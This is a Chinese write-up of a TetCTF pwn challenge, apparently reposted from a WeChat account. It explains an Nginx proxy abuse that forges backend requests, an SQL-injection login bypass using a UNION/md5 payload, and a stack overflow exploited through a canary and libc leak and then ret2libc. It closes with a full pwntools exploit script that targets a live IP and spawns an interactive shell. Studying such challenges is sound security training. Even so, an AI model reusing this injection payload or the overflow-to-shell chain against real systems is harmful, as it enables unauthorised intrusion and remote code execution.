这题的考点是Nginx header bypass,SQL注入,ret2libc
登录docker发现flag在frontend,所以最终要pwn掉frontend
分析配置发现Nginx会将请求转发到由客户端指定的目标地址,并在转发前进行了一些路径的重写操作
此外frontend还开了31337这个端口,分析发现是xinetd服务,访问时会执行babyservice,考虑到这是pwn方向,所以应该是babyservice的二进制漏洞
逆向分析babyservice二进制文件,发现从backend读到的buf长度可能导致溢出
接下来看看backend是啥情况,由于note的size是通过get_note获得的,这里看看backend中get_note的逻辑
Size来自于数据库
其值的设置来自于frontend的set_note,且其大小不能大于512
发现backend代码中的sql语句存在注入的问题
联想到之前的nginx配置,backend和frontend通过socket进行通讯,猜测通过nginx的代理可以伪造出前端的请求给backend发包,只不过发送的是请求包头部还是HTTP包的形式
上传dbgserver到docker中,然后开启一个调试端口
调试发现nginx确实可以将前端的请求代理到backend的端口
接下来测试一下是否能伪造frontend的请求格式
由于nginx把我们的http头的connection和/proxy更改了,刚好相差11个字节,这里可以继续添加11个字节的padding,而且第二块1024字节块中nginx还会添加一个空格,所以我们frontend请求体要放到第三块1024字节处(这里的1024字节是因为backend每次处理1024个字节)
至此我们已经可以用前端的请求伪造任意大小的note size了,但在实际利用任意的size实现溢出之前,调试发现发往set_note接口的包还需要先在web端口注册在signin接口登录
调试发现由于这里存在SQL注入,闭合username后可以使用union查询使得第二个参数和之后md5计算的密码一样,需要注意的就是这里A字符串的长度,由于backend后续计算md5时有strlen计算长度,所以直接可以确定长度为964,至此成功绕过登录的检测
并成功控制note的size大小
接下来的任务便是利用溢出pwn掉frontend的babyservice
由于开了canary和nx,需要先泄露canary和libc,get_note的write是一个不错的利用函数
同时利用edit_note的中的read函数实现控制流的劫持,从而实现getshell
这里有个调试xinted启动的babyservice的小技巧,附加到xinted的进程后通过设置set follow-fork-mode child 和 catch exec 可以在babyservice启动时断下,最后结合vmmap的内存布局下断点即可
接下来首先溢出canary
可以看到内存布局是canary rbp ret
接下来就是计算libc的基址了,经过调试发现了栈上的libc_start_main+128的地址
之后就是完整的ret2libc,注意一下payload要保持栈对齐多添加一个ret即可
完整的POC如下
#!/usr/bin/python3 from pwn import * context.log_level = 'debug' #Host = "127.0.0.1" Host = "172.105.117.188" p = remote(Host, 80) payload = b"" payload += b"GET /proxy/ HTTP/1.1rn" payload += b"Host: 172.19.0.2:1337rn" payload += b"Connection: keep-alivern" payload += b"A" * (1024 - len(payload) + 11) payload += b"test:test|test" payload += b"A" * (1024 * 2 -len(payload) + 10) # sign in with sql inject payload += b"signin:' union select 'test',md5(repeat('A',964)),2,'test'#|" payload += b"A" * (1024 * 3 -len(payload) + 10) # set note size payload += b"set_note:8000|" payload += b"A" * (1024 * 4 -len(payload) + 10) payload += b"rnrn"#important p.send(payload) #p.recv(3072) # remove garbage p.recvuntil(b"test") p.recv(1020) note_id = p.recv(16) print("note_id:",note_id.decode()) p.close() # exploit babyservice p = remote(Host, 31337) p.recvuntil(b"Exit") p.recvuntil(b"> ") #login p.sendline(b"1") p.recvuntil(b"Username:") p.sendline("test") p.recvuntil(b"Password:") p.sendline("123") p.recvuntil(b"Exit") p.recvuntil(b">") # get_note for leak canary p.sendline(b"3") p.recvuntil(b"ID: ") p.sendline(note_id) p.recvuntil("Note:") p.recv(1028) canary = p.recv(8) print("canary:0x%x"%u64(canary)) p.recv(1251 - 1028 -8 + 1) add = p.recv(8) print("libc_start_main:0x%x"%(u64(add)-128)) libc = u64(add) - 128 - 0x029dc0 print("libc:0x%x"%libc) # BOF ret2libc get shell p.recvuntil(b"Exit") p.recvuntil(b">") p.sendline(b"4") p.recvuntil(b"ID: ") p.sendline(note_id) p.recvuntil(b"Note:") # padding canary + rbp + ret + pop rdi ret + /bin/sh + system binsh = libc + 0x1d8698 system = libc + 0x050d60 ret = libc + 0x2a3e6 pop_rdi = libc + 0x2a3e5 payload = b"A" * 1000 + canary + b"A" * 8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) p.sendline(payload) p.interactive() |
原文始发于微信公众号(3072):TetCTF pwn01分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论